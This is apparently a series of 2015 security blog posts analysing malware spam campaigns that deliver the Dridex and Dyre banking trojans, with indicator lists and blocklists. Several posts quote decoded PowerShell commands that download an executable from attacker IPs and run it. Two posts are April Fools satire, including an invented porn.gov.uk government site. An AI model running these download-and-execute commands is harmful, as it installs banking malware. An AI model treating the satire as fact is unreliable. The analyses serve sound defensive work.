Malware spam: "Your Remittance Advice COMPANY NAME"

Yet another malware spam run today, this time from randomly-named but legitimate companies, for example:

From:    Kate Coffey
Date:    1 April 2015 at 15:00
Subject:    Your Remittance Advice PEEL SOUTH EAST

Dear sir or Madam,

Please find attached a remittance advice (JT934IYIP.doc) for your information.
Should you need any further information, please do not hesitate to contact us.

Best regards
PEEL SOUTH EAST

Attached is a Word document with a filename matching the body one in the text. Every email attachment we have seen so far is slightly different, but there seem to be just two different malicious macros [1] [2] [pastebin] which download a component from one of the following locations:

http://31.41.45.175/sqwere/casma.gif
http://91.242.163.78/sqwere/casma.gif


Those servers are almost certainly entirely malicious, with IPs assigned to:

31.41.45.175 (Relink Ltd, Russia)
91.242.163.78 (Sysmedia, Russia)

This file is saved as %TEMP%\DOWUIAAFQTA.exe and has a VirusTotal detection rate of 4/49. Automated analysis tools [1] [2] [3] show attempted connections to:

188.120.225.17 (TheFirst-RU, Russia)
45.55.154.235 (Digital Ocean, US)
188.126.72.179 (Portlane AB, Sweden)
1.164.114.195 (Data Communication Business Group, Taiwan)
46.19.143.151 (Private Layer Inc, Switzerland)
79.149.162.117 (Telefonica Moviles Espana, Spain)
5.135.28.104 (OVH / Simpace.com, UK)

According to this Malwr report it downloads the same Dridex DLL as seen in this spam run plus another variant of the downloader with a detection rate of 3/56.

Recommended blocklist:
188.120.225.17
45.55.154.235
188.126.72.179

Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment

This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.

Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]

Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO

Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC

Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.

When run (I don't recommend this!) it executes the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;
Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.

This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:

188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)

It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.

Malware spam: "Batchuser BATCHUSER [ecommsupport@cihgroup.com]" / "CIH Delivery Note 0051037484"

The CIH Group is the name behind the Euronics brand. They are not sending out this spam, instead it is a simple forgery with a malicious attachment.

Apart from the disclaimer there is no body text. If you do as the disclaimer says and run attached Word document (CIH Delivery Note 0051037484.doc) through an anti-virus product then it will appear to clean, but it actually contains this malicious macro [pastebin] which downloads a component from:

http://www.tschoetz.de/122/091.exe

This is saved as %TEMP%\stoiki86.exe. There are usually two or three different download locations, but they will all lead to the the same binary which in this case has a detection rate of 5/56.

Various automated analysis tools [1] [2] [3] [4] show traffic to the following IPs:

91.242.163.70 (OOO Sysmedia, Russia)
37.139.47.81 (Comfortel Ltd / Pirix, Russia)
72.167.62.27 (GoDaddy, US)

198.245.70.182 (Deniz Toprak / B2 Net Solutions Inc, US)
95.211.184.249 (Leaseweb, Netherlands)

According to this Malwr report it also drops another version of the downloader [VT 4/57] and a malicious DLL which will almost definitely be Dridex [VT 2/57].

Malware spam: "Australian Taxation Office - Refund Notification"

This fake tax notification spam leads to malware hosted on Cubby.

From:    Australian Taxation Office [noreply@ato.gov.au]
Date:    1 April 2015 at 00:51
Subject:    Australian Taxation Office - Refund Notification

IMPORTANT NOTIFICATION

Australian Taxation Office - 31/03/2015

The names and the numbers change from email to email. Despite the displayed URL in the message, the link actually goes to cubbyusercontent.com (e.g. https://www.cubbyusercontent.com/pl/RYR5601763.zip/_33cdead4ebfe45179a32ee175b49c399) but these download locations don't last very long as there is a quota on each download.

In this case, the downloaded file is RYR5601763.zip which contains a malicious executable RYR5601763.scr which has a VirusTotal detection rate of 20/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it downloads components from:

ebuyswap.co.uk/mandoc/muz3.rtf
eastmountinc.com/mandoc/muz3.rtf


It then attempts to phone home to:

141.105.141.87:13819/3103us13/HOME/41/7/4/

That IP is allocated to Makiyivka Online Technologies Ltd in Ukraine. In addition, it looks up the IP address of the computer at checkip.dyndns.org. Although this is benign, monitoring for it can be a good indicator of infection.

These URL requests are typical of the Upatre downloader.

According to the Malwr report  it drops another binary jydemnr66.exe with a detection rate of 11/55 plus a benign PDF file entitled "War by remote control" which acts as some sort of cover for the infection process.

"You've received a Telex" spam

Well, I guess if people are daft enough to think that somebody has emailed them a fax or voicemail message then this is the next logical step.
From: Telex Operator [telex@victimdomain]
To: victim@victimdomain
Subject: You have received a Telex!
Date: 1st April 2015

You have received a Telex transmission. Please be so kind as to open the attachment.
Attached is a file telex.zip which in turn contains a presumably malicious file telex.txt neither of which are detected by VirusTotal [1] [2] and the Malwr report is inconclusive.

Foolishly, one of our users opened the attachment and saw the following text strings:
00110 01101 00100 10101 11000 00111 00100 10000 10100 00110 01100 01111 00100 10000 10100 00011 10000 00100 00101 11000 11100 00001 11000 01100 00001 00100 10100 00011 00101 00100 00001 11100 00011 00110 10010 00001 01001 00100 10101 11000 00111 00100 00011 00100 01101 00011 11101 11011 01100 00100 11111 11110 11000 00110 01110 00001 11100 00011 00110 10010 00100 11000 01010 00100 10000 00001 10010 00001 11101 00100 10000 10100 00001 01100 00100 10101 11000 00111 00100 00011 01010 00001 00100 00011 00100 01101 11000 11000 10010 11011 11100 00100 11111 10100 00011 10110 10110 10101 00100 00011 10110 01010 00110 10010 00100 01101 11000 11000 10010 11011 00101 11111 00101 00100 01001 00011 10101 11011 11100
As soon as the user opened it, our own Telex machine started printing out little skull-and-crossbones characters. Now, I thought this was odd because I didn't think that the Telex machine actually had that character on.. and when I took out the daisywheel and looked closely then I couldn't find it (see image below).

Weird, huh? So, I don't know if this is a weird cross-platform cyber virus or some sort of digital incantation? I don't have much time to look now though because apparently somebody has emailed me a telegram.

(Yes, it is April Fool's day. Nobody tried to decrypt the message though!)



UK government to regulate online smut, launches PORN.GOV.UK

The government's War on Porn continues to gain pace, with an announcement today that they will make porn filtering mandatory (effectively banning pornography for consumers) and replace it with the government-controlled website PORN.GOV.UK (which is not yet operational).

Very closely modelled on the existing gov.uk site, porn.gov.uk will be available to people who sign up for a Government Gateway account.

At the end of the year, each subscriber will receive a statement of which pornography they viewed, and the costs for this will be added to their annual tax bill, either through PAYE or Self-Assessment.

The government did release a preview of the site (see the image below) which is refreshingly free of filth on the home page.

Visitors can either use the search box to find what they are after, or they can browse for approved pornographic material by category.

It's worth remembering that all material must meet the new British Standards for Pornography set up by the BSI as BS 6969. The BSI will shortly start advertising for Pornography Analysts on their careers page.

Although many sources may object to the perceived censorship, it is surely common sense that wholesome state-approved pornography will be better for everyone. Government sources say that the legislation should be passed before the election with an expected go-live date of 1st April 2016.

Malware spam: "Debit Note [12345] information attached to this email"

This fake financial spam comes with a malicious attachment. There is no body text:
From:    Scot Dennis
Date:    31 March 2015 at 14:32
Subject:    Debit Note [09993] information attached to this email
The number in the brackets varies, and the attachment seems to be randomly named (for example. 42549959.doc). There are probably many, many variants of this but the sample I saw had this malicious macro [pastebin] that executed the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.203/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;
The executable downloaded is identical to the one used in this spam run also taking place today. The payload is the Dridex banking trojan.

The reference numbers, names and email addresses vary, but all come with a malicious and apparently randomly-named attachment (e.g. G-A6298638294134271075684-1.doc).

There are probably several different variants of this, but I have seen just one working example of the attachment which contains this malicious macro [pastebin] which executes the following command:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://185.91.175.64/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;
For some reason, the EXE is download from http://185.91.175.64/jsaxo8u/g39b2cx.exe with a CAB extension and then run through EXPAND which.. errr.. does nothing much. The file is saved as %TEMP%\4543543.exe, and it has a VirusTotal detection rate of 3/57.

Analysis is still pending, but the VirusTotal report does indicate the malware phone home to 188.120.225.17 (TheFirst-RU, Russia) which I strongly recommend blocking, check back for more updates later.

UPDATE:
Automated analysis [1] [2] [3] [4] show attempted connections to the following IPs:

188.120.225.17 (TheFirst-RU, Russia)
1.164.114.195 (Data Communication Business Group, Taiwan)

46.19.143.151 (Private Layer INC, Switzerland)
199.201.121.169 (Synaptica, Canada)

It also drops another version of the downloader binary called edg1.exe with a 2/57 detection rate plus a Dridex DLL with a detection rate of 1/57.

Malware spam: "Invoice ID:12ab34" / "123"

This terse spam has a malicious attachment:
From:    Gerry Carpenter
Date:    25 March 2015 at 12:58
Subject:    Invoice ID:34bf33

123
There is an Excel attachment with the same semi-random reference number as the subject (in the sample I saw it was 34bf33.xls) which currently has zero detections. Unlike most recent document-based attacks, this does not contain a macro, but instead has an embedded OLE object that will run a VBscript if clicked, the spreadsheet itself is designed to get the victim to click-and-run that object.


Automated analysis doesn't show very much, but it does show the screenshots [1] [2]. I haven't been able to extract the VBscript in a neat enough format, but what did interest me is this novel obfuscation [pastebin] which actually just executes this:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.221/zxr/ssidin.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; Start-Process %TEMP%\JIOiodfhioIH.exe;
Despite all the mucking about with expanding a CAB file, the downloaded file is actually an EXE file all along so nothing is done to it. This file has a detection rate of 7/56, and the Payload Security report shows it communicating with the following IPs:

92.63.88.83 (MWTV, Latvia)
82.151.131.129 (DorukNet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)


The payload is most likely Dridex.

This message has been scanned for viruses and malicious content by Green Duck SpamLab 
I have only seen a single sample of this, with an attachment Payment 1142.doc which has a VirusTotal detection rate of 5/57. It contains this malicious macro [pastebin] which attempts to download a component from:

http://madasi.homepage.t-online.de/dbcfg/32.exe

..which is then saved as %TEMP%\sollken1.2.8.exe, this has a detection rate of 12/57. Automated analysis of this binary is pending, but is so far inconclusive.

Incidentally, the macro contains this snippet:

All that means is that this Ken Senoo created and freely licensed a Visual Basic module that the bad guys are using. It does not mean that they have anything at all to do with this malware attack.

Malware spam: "Notice to Appear" / "Notice to appear in Court #0000310657"

These two emails come with a malicious attachment:

Dear Aero,

This is to inform you to appear in the Court on the March 28 for your case hearing.
You are kindly asked to prepare and bring the documents relating to the case to Court on the specified date.
Note: If you do not come, the case will be heard in your absence.

You can review complete details of the Court Notice in the attachment.

Sincerely,
Cody Bowman,
District Clerk.

In these two case the attachments were named Court_Notification_0000310657.zip and Notice_to_Appear_000283436.zip containing the malicious scripts Court_Notification_0000310657.doc.js [VirusTotal 7/57] [pastebin] [deobfuscated] and Notice_to_Appear_000283436.doc.js [VirusTotal 6/57] [pastebin] [deobfuscated] respectively.

These scripts attempt to download malicious code from the following sites:

pitfaa.nidhog.com
ilarf.net
gurutravel.co.nz
lawyermyowin.com
www.lead.com.co

Details in the download locations vary, but are in the format:

ilarf.net/document.php?rnd=1161&id=
gurutravel.co.nz/document.php?rnd=3022&id=

This leads to a randomly-named file with a GIF extension which is actually one of two malicious EXE files, with detection rates of 6/57 and 4/56. One of those produces a valid Malwr report, the other smaller EXE doesn't seem to do anything.

The executable that seems to do something POSTs to a Turkish server at 176.53.125.25 (Radore Veri Merkezi Hizmetleri A.S.). Various Malwr reports [1] [2] [3] [4] [5] [6] indicate badness on at least the following IPs:

176.53.125.20
176.53.125.21
176.53.125.22
176.53.125.23
176.53.125.24
176.53.125.25


I would suggest blocking at least those IPs, or perhaps 176.53.125.16/28 or if you don't mind blocking access to a few legitimate Turkish sites you could perhaps block 176.53.125.16/24.

I am not 100% certain of the payload, however some servers in that cluster have been fingered for serving the Trapwot fake anti-virus software.

Attached is a Word document named S22C-6e15031710060.doc which has a low detection rate of 2/57 which contains this malicious macro [pastebin] which then downloads a component from the following location:

http://dogordie.de/js/bin.exe

The file is saved as %TEMP%\PALmisc2.5.2.exe and has a VirusTotal detection rate of 6/57.

Automated analysis tools [1] [2] [3] [4] [5] indicate that the binary crashes in those test environments. although whether or not it will work on a live PC is another matter. The payload (if it works) is almost definitely the Dridex banking trojan.

Something evil on 85.143.216.102 and 94.242.205.101

I will confess that I don't have much information on what this apparent exploit kit is or how it works, but there seems to be something evil on 94.242.205.101 (root SA, Luxembourg) [VT report] being reached via 85.143.216.102 (AirISP, Russia) [VT report].

Whatever it is, it is using subdomains from hijacked GoDaddy accounts [1] [2] which is a clear sign of badness. The hijacked GoDaddy domains change very quickly, but these have all been used in the past day or so on both those IPs:

dchsleep.com

Attached is a file with a random numerical name (e.g. 802186031.doc) which is in fact a malicious XML file that appears to drop the Dridex banking trojan. Indication are that this can run even with macros disabled. Each attachment has a unique MD5.

Analysis is currently pending, this appears to have several new techniques to avoid detection. According to this Twitter conversation one version attempts to download a binary from 91.226.93.51/smoozy/shake.exe although this is currently timing out for me. For security analysts, a sample of the XML file can be found here.

IMPORTANT: if you have opened this document in Word then there is a good chance that you are infected. I would recommend that you shut down any machine that has opened this. Anti-virus detections are currently very poor, but vendors may have signature available soon, I would wait 24 hours before attempting to disinfect any infected machine. Dridex collects banking passwords, so it is important that machines are not used for financial transactions.

UPDATE:

This particular attack uses some novel features. Opening the Word document reveals what appears to be an embedded XLS file:

There's some interesting metadata.. created by "Dredex" of "Ph0enix Team", then modified by "ПРроываААА".


In the typical attack scenario, opening the embedded file will force the macro to run. In this case, I used LibreOffice on a Linux box which does not support VBA. This revealed the malicious code, which looks like this.

A bit of copy-and-pasting reveals nothing more sophisticated than some Base 64 encoded text that attempts to run one of the following commands:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.199/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.226.93.51/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.227.18.76/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
FYI, those IPs are allocated as follows:

193.26.217.199 (Servachok Ltd, Russia)
91.226.93.51 (Sobis OOO, Russia)
91.227.18.76 (Eximius LLC, Russia)
176.31.28.244 (OVH, France / Bitweb LLC, Russia)

"shake.exe" has a VirusTotal detection rate of 3/57. Between that VirusTotal report and this Malwr report we can see the malware attempting to connect to:

95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
87.236.215.105 (OneGbits, Lithuania)
31.160.233.212 (KPN Zakelijk Internet, Netherlands)

Further analysis is pending.

Attached is a file 611866.xls which appears to come in at least three different versions. But due to an error in the way the spam has been created, the attachment is actually corrupt and (depending on your version of Excel) attempting to open it gives this error:


The file you are trying to open, '611866.xls', is in a different format than specified by the file extension. Verify that the file is not corrupted and is from a trusted source before opening the file. Do you want to open the file now?
Clicking OK loads up what looks like gobbledegook.


If you see this, then you have had a lucky escape because the attachment is in the wrong format and is Base 64 encoded. If you manually run a Base 64 decoder against it then you end up with a malicious XLS file, in one of three different flavours with low detection rates [1] [2] [3] which in turn each contain a slightly different malicious macro [1] [2] [3] which then attempt to download from the following locations:

http://www.lenhausen.de/js/bin.exe
http://meostore.net/js/bin.exe
http://mvw1919.de/js/bin.exe

This is saved in the %TEMP% folder under the filenames pirit86.exe, tikapom64.exe and Trekaldo51.exe (although the binary is the same in each case). This malicious binary has a detection rate of just 2/57 and according to the Malwr report, it phone home to the following IPs:

37.139.47.81 (Pirix, Russia)
5.100.249.215 (OMC Computers & Communications, Israel)
195.162.107.7 (Gamma Telecom, UK)
131.111.37.221 (University of Cambridge, UK)
198.245.70.182 (Deniz Toprak, Turkey / B2 Net Solutions, US)
210.205.74.43 (DAEMINCUSTOM, Korea)
46.228.193.201 (Aqua Networks Ltd, Germany)

It also drops another version of the downloader, edg1.exe which has a detection rate of 1/56 and a DLL with a detection rate of also of 1/57. The payload is the Dridex banking trojan.

As it happens, Carrie L Tolstedt is a real executive... at Wells Fargo. The lady in the picture is another Wells Fargo employee entirely.

But anyway, this is a simple forgery containing a link to a file at Cubby which downloads as Documents_JP3922PV8.zip and contains a malicious file Documents_JP3922PV8.exe which has a icon to make it look like an Adobe acrobat file.

The executable has a low VirusTotal detection rate of 3/57.  Various automated analysis tools [1] [2] [3] [4] show the malware downloading additional components from:

bej-it-solutions.com/pvt/ixusn.rtf
capslik.com/mandoc/ixusn.rtf


It then attempts to POST data to an IP at 109.230.131.95 (Vsevnet Ltd. Russia) which is a critical IP to block if you want to protect yourself against this type of Upatre / Dyre attack.

The Malwr report also shows that amongst other things it downloads an executable lwxzqrk36.exe which has a detection rate of just 2/57. That Malwr report also shows that it downloads and pops up a PDF about drone strikes.

Source: malwr.com
Presumably this PDF pops up to make the victim think that they have been duped into opening some politically-themed spam. Instead, they have actually installed the Dyre banking trojan.. in other words, the victim may well think that it is nothing serious when it really is.

The download locations for this Upatre/Dyre combination change all the time, but the IP address of 109.230.131.95  has been around for a little while. Also, it is a characteristic of this malware that it calls out to checkip.dyndns.org to determine the client IP address.. monitoring for traffic going to that location can be a useful indicator of infection.

Malware spam: "December unpaid invoice notification"

This spam comes with no body text, but does come with a malicious attachment.

From:    Korey Mack
Date:    18 March 2015 at 11:04
Subject:    December unpaid invoice notification
So far I have only seen a single sample with an attached file called 11IDJ325.doc which is undetected by AV vendors. Inside is a malicious macro [pastebin] with an encrypted section that executes this:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\huiUGI8t8dsF.cab'); expand %TEMP%\huiUGI8t8dsF.cab %TEMP%\huiUGI8t8dsF.exe; start %TEMP%\huiUGI8t8dsF.exe;
Although the EXE file from 176.31.28.244 (OVH, France / Bitweb LLC, Russia) is downloaded as a CAB file and then EXPANDed to an EXE, there is in fact no file transformation happening at all (which is odd). This executable has a detection rate of 2/57.

This Malwr report shows it downloading a DLL with an MD5 of a40e588e614e6a4c9253d261275288bf [VT 4/57] which is the same payload as found in this earlier spam run, along with another executable with an MD5 of 409397f092d3407f95be42903172cf06 which is not in the VirusTotal database.

Attached is a file NWN Confirmation Letter.doc which I have so far seen in two different versions, both with low detection rates [1] [2] which contain slightly different malicious macros [1] [2] which then go and download a malicious binary from one of the following locations:

http://pmmarkt.de/js/bin.exe
http://deosiibude.de/deosiibude.de/js/bin.exe

These are saved as %TEMP%\zakilom86.exe and %TEMP%\Pikadlo64.exe respectively. The binaries are actually identical and have a VirusTotal detection rate of 5/57. According to the Malwr report this binary attempts to communicate with the following IPs:

31.41.45.211 (Relink Ltd, Russaia)
109.234.159.250 (Selectel Ltd, Russia)
37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud / IT House, Russia)
95.163.121.200 (Digital Networks CSJC aka DINETHOSTING / Russia)

It then drops what appears to be another version of itself called edg1.exe onto the target system [VT 2/55] along with a malicious Dridex DLL [VT 3/55]

Recommended blocklist:
31.41.45.211
109.234.159.250
37.59.50.19
62.76.179.44
95.163.121.0/24

Quttera fails and spews false positives everywhere

By chance, I found out that my blog had been blacklisted by Quttera. No big deal, because it happens from time-to-time due to the nature of the content on the site. But I discovered that it isn't just my blog, but Quttera also block industry-leading sites such as Cisco, VMWare, Sophos, MITRE, AVG and Phishtank.

For example, at the time of writing the following domains are all blacklisted by Quttera (clicking the link shows the current blacklisting status):

www.cisco.com
www.vmware.com
cve.mitre.org
www.auscert.org.au
www.phishtank.com
www.buzzfeed.com
www.reddit.com
dl.dropbox.com
www.avg.com
www.malekal.com
nakedsecurity.sophos.com
blog.dynamoo.com
malware-traffic-analysis.net
blog.malwaremustdie.org

Cisco's blacklisting entry looks like this:

Now, you can ask Quttera to unblacklist your site for free by raising a ticket but the most prominent link leads to a paid service for £60/year. Hmmm.

I don't think that I will rush to subscribe to that. Obviously, something is seriously wrong with the algorithm in use, some of these sites should obviously be whitelisted. Quttera also doesn't understand the different between a malicious domain or IP being mentioned and such a site being linked to or injected into a site.

I guess there are many, many more domains that are in a similar situation. Perhaps you might want to check your own web properties and share your findings in the comments?

Malware spam: "Invoice (13\03\2015) for payment to COMPANY NAME"

There is a series of malware spams in progress in the following format:

Invoice (13\03\2015) for payment to JUPITER PRIMADONA GROWTH TRUST
Invoice (13\03\2015) for payment to CARD FACTORY PLC
Invoice (13\03\2015) for payment to CELTIC
Invoice (13\03\2015) for payment to MIRADA PLC

Note the use of the backslash in the date. There is an attachment in the format 1234XYZ.doc which I have seen three different variants of (although one of those was zero length), one of which was used in this spam run yesterday and one new one with zero detections which contains this malicious macro, which downloads another component from:

http://95.163.121.186/api/gbb1.exe

This is saved as %TEMP%\GHjkdfg.exe - incidentally, this server is wide open and is full of data and binaries relating to the Dridex campaign. Unsurprisingly, it is hosted on a Digital Networks CJSC aka DINETHOSTING IP address. This binary has a detection rate of 3/53 and the Malwr report shows it phoning home to 95.163.121.33 which is also in the same network neighbourhood.

The binary also drops a malicious Dridex DLL with a detection rate of 5/56. This is the same DLL as used in this spam run earlier today.

Recommended blocklist:
95.163.121.0/24

Malware spam: "pentafoods.com" / "Invoice: 2262004"

This fake Penta Foods spam run is another variant of this and it comes with a malicious attachment. Penta Foods are not sending this email, instead it is a simple forgery.

Subject:    Invoice: 2262004

Attached is a Word document R-1179776.doc which actually comes in two version, both with zero detection rates, contains one of two malicious macros [1] [2] which then download a component from the following locations:

http://accalamh.aspone.cz/js/bin.exe
http://awbrs.com.au/js/bin.exe

This is saved as %TEMP%\fJChjfgD675eDTU.exe and has a VirusTotal detection rate of 5/57. Automated analysis tools [1] [2] show a phone-home attempt to:

62.76.179.44 (Clodo-Cloud / IT House, Russia)

My sources also indicate that it phones home to:

212.69.172.187 (Webagentur, Austria)
78.129.153.12 (iomart / RapidSwitch, UK)

According to this Malwr report it also drops a DLL with a detection rate of just 2/57 which is probably Dridex.

Recommended blocklist:
62.76.179.44
212.69.172.187
78.129.153.12

Malware spam: "Invoice [1234XYZ] for payment to COMPANY NAME"

These rather terse emails appear to refer to various companies, and all come with a malicious attachment:

From:    Erasmo Small
Date:    12 March 2015 at 09:40
Subject:    Invoice [3479XZM] for payment to INCOME & GROWTH VCT PLC(THE)

From:    Eli Ramirez
Date:    12 March 2015 at 08:37
Subject:    Invoice [4053FJK] for payment to RANDGOLD RESOURCES

From:    Richard Baxter
Date:    12 March 2015 at 08:37
Subject:    Invoice [3020JQM] for payment to TARSUS GROUP PLC

From:    Megan Dennis
Date:    12 March 2015 at 09:36
Subject:    Invoice [4706CEZ] for payment to SHANKS GROUP

The attachment is a Word document with a name that matches the reference in the subject. So far, I have seen two different versions of this with low detection rates [1] [2] which contain these malicious macros [1] [2] [pastebin] which contain some quite entertaining obfuscation, but when deobfuscated try to download an additional component from the following locations:

https://92.63.88.102/api/gb1.exe
https://85.143.166.124/api/gb1.exe

Note the use of HTTPS. Those two IP addresses belong to:

92.63.88.102 (MWTV, Latvia)
85.143.166.124 (Pirix, Russia)


Both are well-known hosts for this sort of rubbish. According to the Malwr report this attempts to phone home to:

95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)

Digital Networks is also a sea of crap. It also drops a Dridex DLL with a detection rate of 9/57.

Recommended blocklist:
95.163.121.0/24
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
85.143.166.0/24
